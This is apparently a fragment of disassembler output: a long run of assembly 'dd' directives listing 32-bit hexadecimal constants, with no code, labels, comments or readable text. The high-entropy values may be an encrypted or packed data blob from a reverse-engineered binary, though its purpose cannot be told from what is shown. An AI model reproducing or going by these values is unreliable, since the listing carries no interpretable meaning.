		dd 8C04773h, 8CE43A3Ch,	0E71E8EECh, 4180C78Ch, 0F4B144D7h
		dd 878EE8Dh, 0DF11460Ah, 619ED78Dh, 7C3D98B0h, 71624AFDh
		dd 0B253605h, 6E76EB8Dh, 60ED68EDh, 4B207616h, 330ED004h
		dd 9BC3E08Dh, 39B59238h, 989E1B67h, 0D7109C5Dh,	4EAE379Ch
		dd 8DB5923Fh, 0DBB75B62h, 36CB9920h, 6139FB00h,	73D56298h
		dd 36CF95A8h, 0CCDF750Dh, 0D9CB9A5Bh, 1967C47Eh, 554C00C3h
		dd 71F3B1E3h, 4A78562Fh, 0AF4E432Ch, 99AFFFC4h,	0B83187E6h
		dd 22A1FA66h, 0F498DD0Fh, 1929D788h, 3D45388Dh,	0A91A374h
		dd 0F9B77B61h, 0F0E24C80h, 8FEB1BBEh, 0D68F2DCCh, 4C0E4B73h
		dd 25961CDBh, 0C907930Eh, 2BF3389Bh, 0A47ED36Fh, 68FDB2B8h
		dd 0E86B586Eh, 9177FB56h, 998D2DCCh, 0D0829CE6h, 0D250B3F4h
		dd 6F0ADE92h, 0A56DAD33h, 4D6BD12Ah, 3FAF630h, 97B5923Fh
		dd 6A56746Eh, 48336EBFh, 0DBB75560h, 0A756CA22h, 7636245Eh
		dd 1929D78Ch, 51051C28h, 0D971C326h, 998CF28Bh,	74D787E6h
		dd 228194E6h, 5428EB29h, 3157040Dh, 0DBB74E7Dh,	401F9A20h
		dd 0E6046301h, 1C35ECBh, 12E2516Dh, 314707BEh, 29C89B1Ah
		dd 416D9307h, 2D31A7CDh, 5BC89780h, 8EAFC19Ch, 4C051C2Ch
		dd 0C1951625h, 0DBCCAF6Eh, 0ECE64C84h, 97E515B2h, 0E9188AF0h
		dd 0FC7BB718h, 71F26E50h, 0D5EE8E46h, 56B91F9Dh, 36C94CCFh
		dd 91166DDAh, 8276F4CFh, 76A689B8h, 0E6041C2Ch,	0E3C80FFCh
		dd 0AF170D9Fh, 0B1DC0171h, 0C270CA83h, 32F3E7A0h, 70809898h
		dd 0C26D3F3h, 82166DDAh, 0DEBC8BB8h, 0FCF63465h, 21C63FB9h
		dd 9177FB0Fh, 8276F4CFh, 0B11DFF61h, 4B547704h,	5751921h
		dd 96BAD41Eh, 0E6045179h, 7BC76C56h, 14872C69h,	1FA2B34Bh
		dd 29C89B66h, 6F5DE401h, 6AC2981Eh, 5D04003Fh, 9F77BFEAh
		dd 0B959FB5Dh, 6171F97h, 91BC21A6h, 9976F4CFh, 0DC1B8AF0h
		dd 897BED99h, 12B59238h, 0DBB75B6Eh, 29C89920h,	9177FB07h
		dd 8276F4CFh, 7B159D61h, 36C74011h, 98C71D65h, 0A32E9A5Dh
		dd 480794AAh, 30C3B19h,	0C96C8B6Ch, 4D6BAA89h, 0F498DB26h
		dd 979EB8Dh, 5FC246A5h,	7A96C09Dh, 5D041E2Eh, 829D1893h
		dd 910CAFDEh, 998D2DCCh, 0DB1A8AF0h, 4C0BF088h,	0C1951625h
		dd 0FB0C3E6Dh, 650D50AFh, 0EA0ADE9Ch, 9898D951h, 64D7DD5Dh
		dd 2BC697C3h, 7BE76C0Eh, 707084B3h, 49F96982h, 5105F63Fh
		dd 928CC326h, 71F26D37h, 6CF76CE4h, 4C051C2Ch, 0B251425h
		dd 0D42EDE88h, 0B578EB8Eh, 0E907EA95h, 6AF5D1B0h, 5105F7C2h
		dd 650D1126h, 8D98EA93h, 4B8EFCFAh, 0E604F63Fh,	8777D125h
		dd 8B4A3676h, 720D48E5h, 577E5C35h, 0DF8021B1h,	7DB59251h
		dd 76AF1021h, 30C19627h, 0CEB2AF45h, 9177F7ADh,	0A7DFECCCh
		dd 0B4B59238h, 2FEA1889h, 29C89B1Ah, 826D9307h,	0F35389B8h
		dd 71F26E4Dh, 0BF98B54Dh, 1E37CFF4h, 7BF69E3Dh,	0E6043E0Dh
		dd 6159676Dh, 96F5DC7Bh, 2461BEB4h, 0AC9D8D2Ah,	556A7744h
		dd 7B44FBCh, 912727A3h,	3176F4CFh, 764C1134h, 5D041A22h
		dd 9094C69Dh, 0D2388BBEh, 0D0A3F697h, 0E9440AEh, 0AE6DFA69h
		dd 4BF3B82Ch, 0C3BE6EA3h, 5E0428E0h, 19A1071Dh,	12F232CAh
		dd 71F3A1ADh, 52A0CCAEh, 106E80C1h, 5D3C0A0Ah, 0FAC37101h
		dd 291A9C14h, 71F26E7Fh, 0E58EE313h, 49BE0B54h,	13B59214h
		dd 98E1B71Fh, 4B29DBE6h, 4205F63Fh, 0A538D6B1h,	3B1F9C83h
		dd 8772B6E6h, 0A68BBBDh, 895BFEAAh, 0D42EDE8Ch,	42051C2Dh
		dd 650ECF2Fh, 0BC83DD93h, 0DD669544h, 93244C84h, 414B3B98h
		dd 71F26B97h, 8229DBF2h, 0DEBC8BB8h, 5E4ACA83h,	7E7B4EA3h
		dd 0D6B59238h, 0DE43C2E6h, 16A90282h, 5D057B4Eh, 9191C39Eh
		dd 3188FECDh, 0B7CF9C1Ah, 0E4B59238h, 9989F999h, 791A9CE6h
		dd 2455689Bh, 78B5923Fh, 3E1F9C3Ch, 0BAB2FD12h,	6DFA9805h
		dd 147F4FCCh, 73CF9BD1h, 0E8B59238h, 0FD2BB98Dh, 577D85B8h
		dd 474AD538h, 401F9B30h, 0FB046301h, 53AD5119h,	32B1C2Ch
		dd 0A76FA931h, 18DF0905h, 0A53E2253h, 4E06CAF2h, 330D13DBh
		dd 476EB8Dh, 0EE15895Ch, 81FD44B5h, 0E7A78CB8h,	0F81F529Fh
		dd 4D47A3BBh, 40705369h, 0C43C1DCFh, 99FBD7ABh,	4E051C2Dh
		dd 0EB03C5DBh, 0F807542Eh, 999757FCh, 8B9887E6h, 4BF8D95Fh
		dd 291A9A26h, 71F26E7Fh, 0AF8EE313h, 13F1435Ch,	910E7CDDh
		dd 68A6F1D9h, 1A48C47Eh, 0DAA24DADh, 948ECE2Dh,	71F26D2Dh
		dd 6F2116EEh, 6C78EB8Dh, 60B916E3h, 1A267414h, 0A33428B1h
		dd 0F1701453h, 0DC500C1Ah, 0C7AC8787h, 0C11935A4h, 518CA413h
		dd 0F989E044h, 420BB185h, 0D998C12Fh, 9988FD5Fh, 4B29DBE6h
		dd 4E05F63Fh, 5D0413DBh, 0D72AB9E9h, 0C5B59238h, 59EC65FAh
		dd 821D410Fh, 0DC5E1F89h, 67FA4C84h, 0B4663705h, 0E851EE64h
		dd 32F3B98Dh, 2842388Dh, 16AFDF41h, 48219C4Eh, 99E2D54Ah
		dd 9DE85D44h, 77096EC8h, 182ADA8Ch, 50051C28h, 650D1139h
		dd 0CCDEF354h, 0D5FEFDD3h, 0D1808800h, 0EE0B2B8h, 71F26E11h
		dd 12BB5331h, 30B2B642h, 2DC49B1Ah, 80306715h, 97AACE86h
		dd 0FC7BE384h, 71F26E50h, 0D5EE8E46h, 98993F9Dh, 26A4DD5Dh
		dd 0ED9682FBh, 9B958702h, 0B51C5FB3h, 0D72CF47Ch, 8485B95Fh
		dd 0C98F87F9h, 0F112C628h, 6807C9EDh, 9990820Fh, 0E9BBCC04h
		dd 3BC806FBh, 9F7B68E0h, 0A77E9D18h, 4A13093Dh,	0F9802B34h
		dd 87A5385Bh, 0F76D2DF1h, 5924FCA3h, 0F40863E4h, 0AE61DF1Bh
		dd 6D2A80FDh, 3F953B46h, 8E3A7EEFh, 0A5A63B5Dh,	121FFD57h
		dd 3CB57AE5h, 4E0B00E0h, 0F8E4D663h, 9F985A5Bh,	3BC80435h
		dd 766100E0h, 294460Eh,	121FFD53h, 3BB279E5h, 9F7B68DDh
		dd 0E3B09D18h, 7A19AD9Fh, 5FE93A33h, 3F04EB04h,	0F7407EEFh
		dd 0A692996Bh, 9B8BF986h, 72313C38h, 25234657h,	8C281E5Bh
		dd 2BB8E69Dh, 2E502CF9h, 26356706h, 1CCAE3A0h, 6B09351Ch
		dd 93932C31h, 9DF37F0Ah, 0A7A5417h, 0DD29AFE5h,	9F73BC76h
		dd 0EB44D102h, 84EF5EC9h, 0A701C8FEh, 0E960C786h, 6B0A254Bh
		dd 34B43144h, 518F82D8h, 2C55DDD7h, 0E41AB2ADh,	0A695B346h
		dd 44C59586h, 0ECCDA01h, 34B611A4h, 2727B8A5h, 14224B53h
		dd 6EB57AE3h, 0BD816EBCh, 470801ECh, 7301B06Eh,	55BD938Fh
		dd 59589A47h, 9EDD81DFh, 82B0F863h, 121FFD59h, 0A519B230h
		dd 0FB28BC76h, 80019BDFh, 5D3C684Ch, 6F3567F3h,	919270D0h
		dd 10CEDFB3h, 14224B53h, 60B778E3h, 0A6FDE3CDh,	0EB2BF43Dh
		dd 5ABFB95Fh, 0AF9F62EBh, 0E9BB6B15h, 69C406FBh, 9AA92C31h
		dd 5A0989F7h, 410181FEh, 0A695B343h, 8ED44786h,	407D158Dh
		dd 36C57CA1h, 5C52E0FCh, 2944900h, 0E2224B53h, 3BA89F6h
		dd 5A071E5Eh, 6B0881FEh, 0A79D3045h, 9228433Dh,	5A818EBFh
		dd 0CE7E500Fh, 0EB9C4855h
		dd 82D9B95Fh, 426AE86Fh, 0FEC51822h, 1927235Dh,	0E2224B53h
		dd 112789F6h, 0E9CC19E5h, 0E061B95Fh, 0B4772854h, 3B9FFADh
		dd 0A9CF4D55h, 0CEB9FFE3h, 5F648B94h, 0F5845ABEh, 0A70DB28Eh
		dd 0C5C3093Dh, 0F2B9FFE3h, 0EAF0BAC7h, 0C8C0B95Fh, 0FF7D312Bh
		dd 0F3B101B3h, 0EBA04855h, 45D5B95Fh, 85A3167Ch, 7FFED842h
		dd 0C8CFDEDAh, 1927452Bh, 0DA264753h, 2273BC61h, 0AF83AF8h
		dd 64B9FFE4h, 0A701DEF1h, 45C6043Dh, 4A1309DEh,	1DCDE2CEh
		dd 927974E9h, 5FB9FFE3h, 0B56AB724h, 5B4B7417h,	401307FDh
		dd 0F06CECCh, 8AA74E82h, 1B388A23h, 0E4D4B481h,	0E4839D7Eh
		dd 0BFDB9A9h, 0C380FF7Dh, 0A695B346h, 65099586h, 0C89789FBh
		dd 0EBC74A4Bh, 2076BD40h, 87CCDA01h, 9B2AD166h,	237370F0h
		dd 5A097EFDh, 191083FEh, 366962E9h, 0F695991Ah,	82B8BC40h
		dd 0A79E7D23h, 0A28433Dh, 0A6932D8Dh, 0C6355486h, 0C5C3095Eh
		dd 2BB9FFE3h, 0BD4E31FBh, 0A692FE35h, 29A92F86h, 8FEF4ECAh
		dd 0EAAEEA63h, 99AA355Ah, 5A0974DDh, 192981FEh,	17755856h
		dd 38CDB37Eh, 74175ACDh, 0B47C287h, 0A69DC2E0h,	0A703E807h
		dd 0EB2BF43Dh, 9EBFB95Fh, 3F819A17h, 37C408C1h,	3655D9DAh
		dd 42B9FFE4h, 0D2E90415h, 7909D740h, 5F071E5Fh,	41017EFDh
		dd 6B089CFFh, 0F8952E43h, 0A694468Ah, 6ADB4A86h, 9B9E13C1h
		dd 0E2224B57h, 0A2823BF6h, 7FFEDAF6h, 27EF856Dh, 96852581h
		dd 5FC7042Eh, 0A6930F23h, 1415A286h, 491309B8h,	6A09CFD7h
		dd 33A12C31h, 4A1309D5h, 372DE2CEh, 0D87D30FDh,	0A7819A71h
		dd 0EB2BF43Dh, 5ABFB95Fh, 4B1307FDh, 0E2FCDD9h,	12A84D7Fh
		dd 0E0799B13h, 585E6E8Dh, 0E2224B53h, 16765855h, 59A09ED1h
		dd 5FB9FFE4h, 95845ABEh, 901E432Fh, 83ABF963h, 5A072160h
		dd 0CF9983FEh, 82B15950h, 2273BC6Ah, 4913080Ah,	9CFD7h
		dd 8DDCD1C2h, 7FFED80Ch, 3B687420h, 7FFECC9Ch, 3B3E8B07h
		dd 7DB9FFCFh, 0D2D2B0E0h, 27356978h, 0A692689Ch, 937C2986h
		dd 37C40439h, 907B68DCh, 0EEAAF663h, 14FCBAC6h,	907B6780h
		dd 0EA528C52h, 75F6B95Fh, 0C36AA4DEh, 0A692F387h, 8B407E86h
		dd 1E541A94h, 0ABDB4879h, 0EC771E5Eh, 0CB694D62h, 26264756h
		dd 0A2823BF3h, 7FFEDAF6h, 0E7EF856Dh, 90953B54h, 83ABF963h
		dd 25234658h, 2BDFA556h, 0A072D49Dh, 4F866514h,	7FFED84Dh
		dd 5D5C4F24h, 423B9F42h, 0E9BBC6B7h, 3BC806FBh,	9F7B68E0h
		dd 0A77E9D18h, 5546C2Bh, 3AFEC599h, 8612AF92h, 0C88D500Dh
		dd 42E1C234h, 66158AB3h, 192A128Bh, 0A83205BDh,	0C4CB542Eh
		dd 0D0EED1D5h, 7A609D46h, 9B6F602Ch, 51EF49C4h,	0AF8EC207h
		dd 6B09FEE6h, 0C4E5F2C6h, 79ED1D5h, 0A68436A8h,	0E81CB601h
		dd 0D06D918h, 60CB542Fh, 9361350Eh, 33E1B5FBh, 63194940h
		dd 9CE644EFh, 0F65728Dh, 1BEF4A5Ch, 68BEDD7Eh, 665B3611h
		dd 93E91DC2h, 8A971CDCh, 6CD5F01Eh, 0E50AF5h, 1C370BBEh
		dd 545ACA1Eh, 0DCDEE121h, 0E822285Dh, 0F81459A2h, 92E9F3A9h
		dd 446E54DFh, 6D0077ABh, 525A6F22h, 4162D51Fh, 0E81CB602h
		dd 50EF4906h, 484C3CC6h, 7E25A3ECh, 0AB97B8ACh,	372B0E32h
		dd 23C190A0h, 193A287Dh, 1C370BBEh, 88A00A6h, 82617876h
		dd 5DBD8A3Ch, 431BE94Bh, 3F366281h, 59381542h, 0EE5BB02Fh
		dd 0DA935F9h, 6A5B38F6h, 0E8076ACDh, 73A20D7h, 0E83A9026h
		dd 0E07C59A2h, 0E823275Ah, 0F91359A2h, 883925AEh, 41625B66h
		dd 4162DDE7h, 2ABF45CEh, 595AD8A8h, 0C7ECCB22h,	91F6F9B3h
		dd 6950AF67h, 0FADFECE1h, 59F7C7AFh, 341DB02Fh,	86AD3C10h
		dd 92CC3B18h, 0E8A5C4B1h, 6C0959A2h, 0D80B6E25h, 0BF14F123h
		dd 5476C77Ah, 0A42E0246h, 0C8CB542Eh, 193A0ED9h, 4162DDE7h
		dd 1D360ABEh, 3E6AD81Eh, 87B815F8h, 939080C7h, 92E4B400h
		dd 19147759h, 0EBB9AFAh, 3D6BB4DFh, 0AC8E1030h,	93FED2B4h
		dd 33E4B400h, 339DD412h, 79CB542Fh, 93704D27h, 0E4CEB400h
		dd 0A6A664Ch, 665B5088h, 9CE63712h, 1A729B8Dh, 675B9362h
		dd 40C2E3D1h, 826178BEh, 593808E5h, 5D5AB02Fh, 0E8A7C6AFh
		dd 6DFF59A2h, 665B6A3Bh, 9CE63712h, 1A729B8Dh, 5D59EEBAh
		dd 6CCD19B0h, 446BF0B4h, 0FCD6ED29h, 675AF2A5h,	8EE6E1CFh
		dd 0E8D49908h, 57A959A2h, 0E50A04h, 0E14216BEh,	0A84F8BCh
		dd 0B2404E32h, 9390FBFh, 13D2406Dh, 0E313B13Ch,	9C0B7BDBh
		dd 3B184CC4h, 1B39013Ah, 0D19BB727h, 9C981EB8h,	7D8FB88Dh
		dd 6F62A253h, 0E892D7CAh, 48A459A2h, 0FE1D9362h, 0E7BD08BCh
		dd 93F159A2h, 0DE82F3AEh, 1939ECBBh, 0B87F8BDh,	286A4D2Fh
		dd 82617896h, 0ECD5F844h, 0C4654C76h, 481CC887h, 819ACAF4h
		dd 5BB1DEC1h, 3DDCAC08h, 371C4926h, 2FA97D36h, 7DCB542Fh
		dd 278F4D7Ch, 8CE06B5Dh, 4162D202h, 2ABF45CEh, 0F8DBD8A8h
		dd 0E88F8BCh, 2B674A56h, 8261786Fh, 0B5E3014Bh,	595A538Ah
		dd 193AD622h, 1C370BBEh, 545ACA1Eh, 4162D321h, 9CA130CEh
		dd 525AAD8Dh, 4162D51Fh, 0CD45ABE7h, 82617710h,	1678ECA9h
		dd 0BD174A8Ch, 0EFCB542Eh, 92F2E6C0h, 9CE633FEh, 7D567F8Dh
		dd 0F78ACA1Ah, 0F663DD6Ch, 163509BDh, 665BCA1Eh, 9CE63712h
		dd 1A729B8Dh, 72598E5Ah, 0B87F8BDh, 38CC9127h, 0BAF8773Ch
		dd 826177FCh, 4F7471FAh, 3B4A6DBDh, 0E3254D62h,	9B85C16Eh
		dd 8FE4F28Dh, 0FFCE9C09h, 939F026Fh, 0ECD6B1FFh, 0BF724E74h
		dd 0B64C3ABCh, 0E50AA3h, 1F5F09BEh, 92503F10h, 0E8A5C4B1h
		dd 6C0959A2h, 93704D25h, 9BE3B301h, 0F2631CC4h,	5D8CC52Bh
		dd 0AA906415h, 0F3F8D5FFh, 83AEC52Bh, 0E5FB64CFh, 2FC5D2F1h
		dd 675B5C69h, 92C0CDCBh, 6BCEB400h, 39E19807h, 15FEB2FEh
		dd 0E0F2BE4Dh, 332E1F64h, 339DD412h, 0B0CB542Fh, 9CE5FDDBh
		dd 4AB0E58Dh, 9286F860h, 0E8A5C4B1h, 6C0959A2h,	948F6D25h
		dd 928454DDh, 0DD949B59h, 33B6AF09h, 0AAD2F567h, 281B3B03h
		dd 9BAEA28Eh, 3B184CC4h, 958E833Fh, 7AF207D5h, 59BB8BA2h
		dd 665BB02Fh, 3DA8FB4Dh, 5EA4B931h, 8261F3D8h, 22193D1Eh
		dd 0FEBBAE90h, 2CC93786h, 331CF27Eh, 3C174940h,	42664A25h
		dd 3598337h, 0BFE5639Fh, 0E7A4888Bh, 92845152h,	0E8A5C4B1h
		dd 0DA0959A2h, 94DFF63Eh, 0EC4717ACh, 0EE5AF2A5h, 0BD8B97FEh
		dd 0E4CE4F01h, 56B86873h, 4ECB54DEh, 9B8AFC44h,	381B4CC4h
		dd 3A4CF833h, 841F80B1h, 0B14BC6EEh, 33A898FEh,	6EA2D312h
		dd 46D0E330h, 351642A0h, 55CF3F63h, 585B3A4Bh, 193ACF05h
		dd 0E04307BEh, 675AF2A5h, 8FE5E4D0h, 34077709h,	381B4940h
		dd 93845141h, 92DDB1FFh, 737C26AEh, 0C607624h, 93774786h
		dd 68D1A7FDh, 0B79E884Eh, 0A4000DE0h, 0A0E2D81Dh, 8261771Dh
		dd 754ECFDCh, 0E04307BAh, 665BCA1Dh, 9CE63712h,	0A5BEB38Dh
		dd 6D557AC4h, 9BEDE1F3h, 476649C4h, 4508638h, 0C6FB8830h
		dd 9CE617B5h, 7A92BB8Dh, 381B4CE7h, 870B7A3Ch, 0A15368AAh
		dd 92FED204h, 0E082F4B1h, 9CE5AE6Bh, 59CF2D8Dh,	0E17B9619h
		dd 3BBCB6h, 87BB8C3Ch, 0B547C2EEh, 525AD9EAh, 665BD51Fh
		dd 0A3DEF3C2h, 82617716h, 2E1CAC9Bh, 90E3EA64h,	675B7C08h
		dd 92C0CDCBh, 9BD8A8FCh, 0EB681BD6h, 0C4DEED4Eh, 0A9F935CDh
		dd 0DDF6A8F0h, 933D77FFh, 0B12AFEFDh, 0FBCB542Eh, 0F9E0E2ACh
		dd 9CE516A0h, 6DF7208Dh, 93DCACF2h, 9BD7A7FDh, 0D4311CC4h
		dd 57CCC326h, 0E50A04h
		dd 163509BEh, 0E2FB6DBDh, 7D75246Eh, 937E4F53h,	723FDFDh
		dd 41624C99h, 1C370BBEh, 0DAE1D81Eh, 0B94B5488h, 381B4CBEh
		dd 82A1CF33h, 193AC81Ch, 1185F8BDh, 381B4E87h, 5D9F833h
		dd 9AFD0C1Eh, 675B6D34h, 1A76E7CFh, 0BC47FE62h,	675AE8BCh
		dd 0FAE8DFCDh, 0E77CF94Bh, 0EB0BDEB8h, 0F958CD92h, 0AB8C6273h
		dd 0CA2A5339h, 4A7110C7h, 22F7700h, 9CE5E452h, 7DD6878Dh
		dd 0E2D2F3Dh, 108AF8BDh, 62FF7254h, 31AB7B34h, 7BCB542Fh
		dd 4767472Dh, 193A6D38h, 1C370BBEh, 9069F2A6h, 961619D9h
		dd 0E81B2F43h, 0C11B59A2h, 5D5A0DD6h, 0E7D31BB0h, 0E7DBB6B8h
		dd 61F66A50h, 2C5C7E0Fh, 78699306h, 0C26112F3h,	0C8D22669h
		dd 0A4CB542Eh, 599D71F5h, 675BB02Fh, 93BFE0CCh,	92E1B5FBh
		dd 7ECE1AAEh, 8E6AD81Ah, 6E940660h, 0A9915BEDh,	4C6768F6h
		dd 1C370BBEh, 0A83205BDh, 0C4CB542Eh, 0C9226AE6h, 489D3BE0h
		dd 43BB8C62h, 826178B6h, 593808EDh, 0EE5BB02Fh,	0EA8290E9h
		dd 0DA090E13h, 3322F440h, 64194940h, 181300CAh,	0AA4A538Ah
		dd 0A1EF49B6h, 0F84E6F73h, 123FBA9Ch, 6B4F9C32h, 4366573Dh
		dd 0F42F0DECh, 593808B6h, 545AB02Fh, 367C17ABh,	82617864h
		dd 8CDFF676h, 7AEF49D5h, 7AD9872Ch, 211F0481h, 261C1B77h
		dd 22898E8Eh, 0F8BF8BDh, 36194C89h, 93845123h, 33E3B301h
		dd 46664A40h, 354D3133h, 193ACA1Eh, 849F581Bh, 6D8900A2h
		dd 0DE6E9852h, 6917494Ah, 9CE646F1h, 1567708Dh,	9384515Eh
		dd 0E8DAB5FBh, 7A68604Ah, 4BB5D0C4h, 4B687125h,	0D3D7700h
		dd 6BFE05B3h, 0B4C2095Eh, 565A969Bh, 4162D103h,	0C86F8BDh
		dd 39CB9428h, 5659E9BBh, 675BD103h, 8EE6E1CFh, 93552908h
		dd 5B7C8201h, 4B7469F0h, 79936ED6h, 9B686527h, 426649C4h
		dd 8F895D37h, 1ECB542Eh, 0E81CB602h, 3C174C06h,	92DCA925h
		dd 1E5DF459h, 98CA5DCDh, 7FD5B400h, 14A9DC19h, 28C7277Eh
		dd 7FB28817h, 9B0D60CBh, 33C9D68Dh, 43845140h, 3B6C5BD2h
		dd 411002A3h, 67FD7CCCh, 95B8139h, 36194932h, 1C46A923h
		dd 183B596Ch, 1C370BBEh, 41BC6DBDh, 62DCF0B0h, 63996E3Ch
		dd 6689EDB7h, 0DF6D9753h, 9289FB4Bh, 0BBD125AEh, 327EF9h
		dd 0B7B4DF89h, 7FABB4BBh, 0A3C0B4F1h, 545AA7FCh, 0A5DEE121h
		dd 92D5A98Dh, 0E8A5C4B1h, 6C0959A2h, 786A4D25h,	754ECFDBh
		dd 1C370BBAh, 7784F8BDh, 9CE58803h, 0E3818E8Dh,	431000BCh
		dd 2259408Fh, 59986814h, 545AB02Fh, 193AD321h, 1C370BBEh
		dd 0A989F2A6h, 3A6A5F94h, 95B6423Ah, 574D4403h,	7A674904h
		dd 9CE58B06h, 47E878Dh,	8261787Ah, 86FA1C80h, 5459EB80h
		dd 7F594956h, 31CBD80Ah, 44664A3Ah, 1E79664Eh, 1EB6DFF9h
		dd 93251A7Ch, 9BE1B5FBh, 3386F7C4h, 0E8EF4A40h,	2338CA6Ah
		dd 0EA0980C7h, 0EE5B26B1h, 0A485B5Bh, 0C1E8EEC1h, 6EEF4A69h
		dd 0B0CDBB9h, 9ACB5463h, 79C1FE0Ch, 85A106BAh, 0E17C4436h
		dd 88CF0EB6h, 579DF99Dh, 0E50A04h, 1C370BBEh, 565ACA1Eh
		dd 0C6E0DF03h, 0D6973DC7h, 1972ECE5h, 4E735359h, 9B66573Dh
		dd 36194CC4h, 6C845123h, 2EE50AF5h, 88B3460Eh, 93CA3D16h
		dd 33E3B301h, 36194940h, 899E7D35h, 193AD51Fh, 1A4115BEh
		dd 575AF2A6h, 82617883h, 173C5557h, 0B05BDh, 8AE094CEh
		dd 0F7E1156Fh, 0B5CB5128h, 0A288237h, 8AB81CF7h, 0BB98AD15h
		dd 0FE1CF2A2h, 4A9200A5h, 602EFA68h, 93F1E5BEh,	0E5CDB301h
		dd 1635574Dh, 0B87F8BDh, 0B33F4D2Fh, 0C2F0D2BCh, 0FAE1032Dh
		dd 9CE65FCDh, 2B16BE8Dh, 57A53307h, 0E50A04h, 0FE1DD404h
		dd 5D0B05BCh, 0F113F5FBh, 23AD84C2h, 80CB5489h,	85C30ABBh
		dd 99F359A2h, 2A123E0Fh, 0FE1DCA1Eh, 88A00A5h, 82617876h
		dd 0DDF61864h, 0A83205BCh, 0C4CB542Eh, 775CD1D5h, 48600ABAh
		dd 5F537C11h, 90B3DCE8h, 0FE1CF2A2h, 0FF8305BCh, 8261787Ah
		dd 0B3EF1D7Fh, 826177E7h, 339C6CF3h, 9B3F1040h,	9B3F0FC4h
		dd 68154CC4h, 98BBE4D0h, 0BFE4CA1Ah, 9CE65FCDh,	3D16BE8Dh
		dd 3D3D7700h, 95771926h, 7A6859A2h, 6401D0C4h, 595A683Dh
		dd 675BD622h, 9CBEDFCDh, 923F0FC5h, 9CE633FEh, 0C042B88Dh
		dd 8261783Dh, 4CAEAFBCh, 675B875Eh, 35BDE2CEh, 93FECF3Eh
		dd 33D8A8FCh, 3D1A4940h, 43845126h, 826178B7h, 3D1A4CE8h
		dd 31AB7B38h, 0B3CB542Fh, 5EF6111Fh, 193A6938h,	0B0F10ABEh
		dd 81C2A65Ch, 9BF6CAD5h, 44EF49C4h, 3A5FB5C2h, 0BB295F2h
		dd 6F62ACFCh, 462CAE72h, 0C7070E4h, 17FD7C24h, 0E53E6030h
		dd 0E81CB601h, 371C4C06h, 93DCA924h, 0AC25F9FAh, 0C0CB542Eh
		dd 0F7EBCDB1h, 0EECD4F61h, 595ACA1Dh, 0E8B3BAABh, 0F63C59A2h
		dd 82617823h, 7A9AB5B6h, 6F62A52Ch, 0CAA3F7CBh,	0B5FE8275h
		dd 19734B30h, 908A058Fh, 25CB542Eh, 153509BEh, 62C8992Dh
		dd 937B7CF7h, 0D9D9AF13h, 82617704h, 66C5CAD5h,	933D77FCh
		dd 33D8A8FCh, 371C4940h, 83A0D036h, 4162C71Dh, 0A24CABE7h
		dd 9396396h, 3451406Dh,	575B576Eh, 82617883h, 9B785557h
		dd 92F5C9C4h, 0E8A5C4B1h, 0BB4159A2h, 0FA203664h, 0E77D4978h
		dd 0D33159A2h, 0D3C982C4h, 371C4CD5h, 1ADCA924h, 94A6E0B6h
		dd 0F9E01CC8h, 1A728350h, 93845147h, 88AFEFCh, 5A64642Ch
		dd 33517E0Fh, 436E5140h, 9CE5A40Fh, 0F785928Dh,	59F5CA63h
		dd 341DB02Fh, 0BAB13810h, 0A943BE02h, 665BB5FEh, 9CE63712h
		dd 1A729B8Dh, 0E81D2959h, 0F31159A2h, 93DCA97Fh, 67D2A8FCh
		dd 592B5ECDh, 11323456h, 0FE1CF2A6h, 0E7C108BCh, 0C5ED59A2h
		dd 902E152Ah, 0BF56D7F2h, 0F6ECCEB0h, 0EECD4F61h, 7785F8BCh
		dd 65C5D2DEh, 76553133h, 0E81C683Dh, 641C4C06h,	0F8E1F6DCh
		dd 0E8AEBBA9h, 64F859A2h, 193A7F32h, 675BD404h,	22349CCBh
		dd 0A22EF0D0h, 13906FF7h, 0F18BD06Ah, 43EF4A79h, 61B5B52Dh
		dd 5F532D06h, 0F8E1F6DBh, 43F9CDA9h, 3E898C95h,	0EC1C4C0Eh
		dd 87CFF953h, 0FCFE81A9h, 99F31CB0h, 93DCACDEh,	0A730F8FFh
		dd 0C5CB542Eh, 92FCCCD2h, 0E8A5C4B1h, 6C0959A2h, 92987525h
		dd 80D418AEh, 173C0CB8h, 46AB6DBDh, 4D69347Fh, 57B68743h
		dd 0E50A04h, 0E04307BEh, 585ACA1Dh, 9BC39305h, 371C4CC4h
		dd 2FA97D36h, 7DCB542Fh, 337C492Bh, 92FECF40h, 0E7D317AEh
		dd 120BDEB8h, 0D2CB542Fh, 0FA12E371h, 59381566h, 1B38B02Fh
		dd 1C370BBEh, 0A889F2A6h, 0D3E9A97h, 1C370BBEh,	585ACA1Eh
		dd 767B17AFh, 725F5725h, 9CE5931Eh, 0DE769F8Dh,	416204B3h
		dd 0A370BBEh, 60CB3B2Ah, 9B61350Eh, 591303C4h, 585AB02Fh
		dd 193ACF05h, 1C370BBEh, 9FE1D81Eh, 6C4E9F55h, 0F356323Ah
		dd 0D3EC5637h, 5CA8DDC3h, 67154C05h, 9CE63813h,	3F585B8Dh
		dd 0E55E929Ch, 0A48DBA84h, 0ABD2A79Fh, 0E7DB981Fh, 568C044Bh
		dd 43A170C0h, 927E4F55h, 81D317AEh, 5959F3C1h, 6F62D622h
		dd 0C2E7F8CBh, 57FFCFD7h, 1009B016h, 9DCB542Fh,	595C2C0Bh
		dd 0EE5BB02Fh, 18AA2161h, 436F7005h, 928D81AFh,	0ECCE1AAEh
		dd 9DB6D9BDh, 9BBA49CAh, 545A148Dh, 0A85EA456h,	25B73135h
		dd 9284540Eh, 9CE633FEh, 0B4117F8Dh, 0D1371255h, 0F6D4F679h
		dd 0E7C108BCh, 3C2659A2h, 0EF1C3C8Ch, 739F3C0h,	0E83A9026h
		dd 0E07C59A2h, 95B6C5Bh, 0D5501932h, 230EFA12h,	50ACA391h
		dd 0EE5C3B4Ah, 0B0A46747h, 97CBCCB7h, 33DDB1FFh, 64194940h
		dd 9EE4E6CEh, 8261771Bh
		dd 61C87DDEh, 0E8A4A9D8h, 729259A2h, 4162A52Ch,	995B3ACEh
		dd 525AE3E6h, 0CDEBCE1Fh, 9000F7B5h, 795ADD69h,	933D77FCh
		dd 33E1B5FBh, 68154940h, 0E179EAD0h, 0E9D0FB60h, 92D8A8B6h
		dd 0E8A5C4B1h, 6C0959A2h, 93987525h, 9BE1B5FBh,	0EC651BD6h
		dd 13699E47h, 92381560h, 777618AEh, 0CA365824h,	40C338A7h
		dd 826178BEh, 152E303Ch, 0E04307BEh, 0DBE1D81Dh, 0B4405587h
		dd 2B6749BDh, 8261786Fh, 0EFE3014Bh, 33754A76h,	68154940h
